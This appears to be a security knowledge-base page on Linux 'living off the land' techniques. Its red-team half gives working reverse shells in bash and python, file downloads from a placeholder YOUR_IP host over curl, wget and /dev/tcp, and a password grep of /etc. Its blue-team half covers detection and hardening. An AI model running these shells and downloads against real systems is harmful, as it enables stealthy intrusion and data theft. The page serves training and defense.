Living off the Land on Linux
“Living off the Land” (LOTL) is operating using only the tools that already exist on the system, without uploading your own binaries. The reason is stealth: uploading tools leaves files the EDR scans and that expose the intrusion, while using legitimate system binaries (bash, python, curl, tar, the distro’s own) blends in with normal activity. It’s key in post-exploitation and often the only option when you can’t write to disk.
Threat model
Section titled “Threat model”The attacker assumes uploading and running malware will be caught by signatures or file integrity. Instead, they squeeze the “extra” capabilities of legitimate binaries: download files, open shells, read protected data, execute code, exfiltrate. The result is a post-exploitation chain with almost no file IOCs, very hard to tell apart from normal system administration.
Theory / Anatomy
Section titled “Theory / Anatomy”Every legitimate binary has functions that can be diverted for offensive ends. GTFOBins catalogs exactly those capabilities per binary (shell, file read/write, download, command execution). LOTL is inventorying what’s installed and cross-referencing it with those capabilities. It’s the Linux parallel of LOLBAS on Windows (see Defense Evasion).
Red Team
Section titled “Red Team”Inventory what’s there
Section titled “Inventory what’s there”which bash python3 perl php ruby curl wget nc socat openssl 2>/dev/nullcompgen -c | sort -u # commands available in PATHFile transfer without external tools
Section titled “File transfer without external tools”curl http://YOUR_IP/f -o f; wget http://YOUR_IP/f # whatever's there first# no curl/wget: pure bash over /dev/tcpexec 3<>/dev/tcp/YOUR_IP/80; printf 'GET /f HTTP/1.0\r\n\r\n' >&3# drop the status line and headers up to the blank CRLF line; keep only the bodysed -e '1,/^\r$/d' <&3 > f# interpreters as downloaderspython3 -c 'import urllib.request;urllib.request.urlretrieve("http://YOUR_IP/f","f")'python3 -m http.server 8000 # serve from the targetbase64 file # encode for text channelsShells and execution without uploaded binaries
Section titled “Shells and execution without uploaded binaries”bash -i >& /dev/tcp/YOUR_IP/4444 0>&1 # bash reverse shell (see fund-cli)python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("YOUR_IP",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'# stabilize the TTY: python3 -c 'import pty;pty.spawn("/bin/bash")' + stty raw -echo (see fund-cli)Enumeration and looting with native binaries
Section titled “Enumeration and looting with native binaries”find / -perm -4000 2>/dev/null # SUID (native; see lin-enum)grep -rni password /etc 2>/dev/null # credentials (native; see lin-creds)# if stealth is critical, do it by hand instead of uploading linpeasDiverting legitimate binaries (GTFOBins)
Section titled “Diverting legitimate binaries (GTFOBins)”- tar / zip → execution (
--checkpoint-action,-TT). - find -exec → command execution.
- awk, sed, vi → shell or file reading.
- openssl → encrypt/exfiltrate, even as client/server.
- systemd-run → execute in another context.
Each with its exact recipe in GTFOBins. The same technique serves SUID, sudo, and capabilities.
Why it matters
Section titled “Why it matters”- No file IOCs: you don’t upload malware that signatures/EDR detect.
- Blends in: curl, python, and tar are constant legitimate activity.
- Sometimes mandatory: read-only FS, no write permission, no outbound network to download tools.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Execution logging (auditd
execve, eBPF/Falco): record which binaries run and with what arguments, not just which files appear. This is the key against LOTL. - Behavior detection:
bash -ito/dev/tcp,python -cwith sockets,tar --checkpoint-action,opensslas a server, unexpectedsystemd-run,python -m http.server. - Parent-child anomalies: a web service spawning
bash/python, orcurlfollowed by an interpreter. - Correlation in the SIEM and detection rules.
Telemetry
Section titled “Telemetry”auditd/eBPF execution events, process logs with full command line, per-host network egress.
Hardening
Section titled “Hardening”- Reduce binaries: minimal images (distroless) in containers; remove unnecessary interpreters/tools.
- Egress filtering: stops downloads and reverse shells.
- AppArmor/SELinux: confine what each process can do (e.g. the web server can’t spawn shells).
- Linux EDR that understands LOTL by behavior, not just file signatures.
Checklist
Section titled “Checklist”- Inventory binaries/interpreters (
which,compgen -c) - Transfer files without uploading tools (curl/bash
/dev/tcp/python) - Reverse shell with native binaries (bash/python)
- Enumeration by hand with find/grep/ps (avoid linpeas if stealth needed)
- Divert legitimate binaries via GTFOBins (tar/find/awk/openssl)
- Exfiltrate over existing channels (DNS/HTTP, base64)
- Minimize files written to disk
- Blue: execution logging and behavior detection?